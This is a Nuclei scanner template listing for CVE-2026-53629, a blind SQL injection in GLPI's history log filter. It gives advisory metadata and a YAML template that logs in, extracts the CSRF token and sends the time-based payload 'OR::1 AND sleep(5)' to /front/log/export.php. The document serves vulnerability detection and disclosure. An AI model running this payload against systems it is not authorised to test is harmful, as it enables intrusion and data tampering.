CVE-2026-53629: GLPI - Blind SQL Injection in History Log Filter (LogBleed)
- Template: CVE-2026-53629
- Name: GLPI - Blind SQL Injection in History Log Filter (LogBleed)
- Description: GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).
- Severity: high
- Authors: Boreas37
- Tags: cve, cve2026, glpi, sqli, blind, time-based, authenticated
- References: https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh
- Cves: CVE-2026-53629
- Verified: yes
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-53629.yaml
- Digest: 490a00463044022026cbbbb293a33fcb1c6f69bdd78d1916e928ac6817d0fdcfce3ff7ec9c0365c1022052d2876ac10f5fa385b30c37c4faa90e68828257c7ddfd68e16d03825cd8099e
- Created at: 2026-08-13T08:16:19Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 103
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-53629.yaml
- Checked, none or zero: products
- Not known: impact, remediation
Classification
- Cwe: CWE-89
- Cvss score: 8.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.0102
- Epss percentile: 0.64281
- Not known: cpe
Metadata
- Max-request: 4
- Shodan-query: title:"Authentication - GLPI"
- Verified: yes
Labels
- Name: GLPI - SQL Injection
- Impact: Attackers with READ access on logs can inject SQL queries, potentially leading to data exfiltration or modification.
- Remediation: Upgrade to version 10.0.26 or 11.0.8.
- Vulnerability type: sql_injection
- Vulnerability impact: data_tampering, information_disclosure
- Requirement type: logged_in
- Requirements: Attacker needs READ right on logs
- Labels source: securitycontext
- From cve: CVE-2026-53629
```yaml
id: CVE-2026-53629
info:
name: GLPI - Blind SQL Injection in History Log Filter (LogBleed)
author: Boreas37
severity: high
description: |
GLPI versions before 10.0.26 and 11.0.8 are vulnerable to a blind SQL injection in the history log filter. The Log::convertFiltersValuesToSqlCriteria() function splits the affected_fields filter into key:operator:value parts and DBmysqlIterator::analyseCrit() does not quote OR, AND and NOT as column names, allowing an authenticated user with logs READ right to inject arbitrary SQL. Verified against glpi/glpi:10.0.25 (Docker + MariaDB): filter "OR::1 AND sleep(5)" produces "... AND (((((1 AND sleep(5))))))" in the query and the request takes ~5s. On 10.0.26 the same payload is rejected (~30ms).
reference:
- https://github.com/glpi-project/glpi/security/advisories/GHSA-cpcj-x335-5cmh
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2026-53629
epss-score: 0.0102
epss-percentile: 0.64281
cwe-id: CWE-89
metadata:
max-request: 4
verified: true
shodan-query: title:"Authentication - GLPI"
tags: cve,cve2026,glpi,sqli,blind,time-based,authenticated
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- 'id="login_name"'
- '_glpi_csrf_token'
condition: and
internal: true
extractors:
- type: regex
name: uname
part: body
internal: true
group: 1
regex:
- 'id="login_name" name="([^"]+)"'
- type: regex
name: pwd
part: body
internal: true
group: 1
regex:
- 'id="login_password" name="([^"]+)"'
- type: regex
name: token
part: body
internal: true
group: 1
regex:
- '_glpi_csrf_token" value="([a-f0-9]+)"'
- raw:
- |
POST /front/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{{uname}}={{username}}&{{pwd}}={{password}}&_glpi_csrf_token={{token}}&submit=Login
redirects: true
max-redirects: 3
matchers:
- type: word
part: body
words:
- "logout.php"
internal: true
- raw:
- |
GET /front/user.form.php?id=2 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
internal: true
- raw:
- |
@timeout: 30s
GET /front/log/export.php?itemtype=User&id=2&filter%5Baffected_fields%5D%5B0%5D=OR::1%20AND%20sleep(5) HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "duration >= 5"
condition: and
- type: word
part: body
words:
- "ID;Date;User;Field;Update"
digest: 490a00463044022026cbbbb293a33fcb1c6f69bdd78d1916e928ac6817d0fdcfce3ff7ec9c0365c1022052d2876ac10f5fa385b30c37c4faa90e68828257c7ddfd68e16d03825cd8099e:922c64590222798bb761d5b6d8e72950
```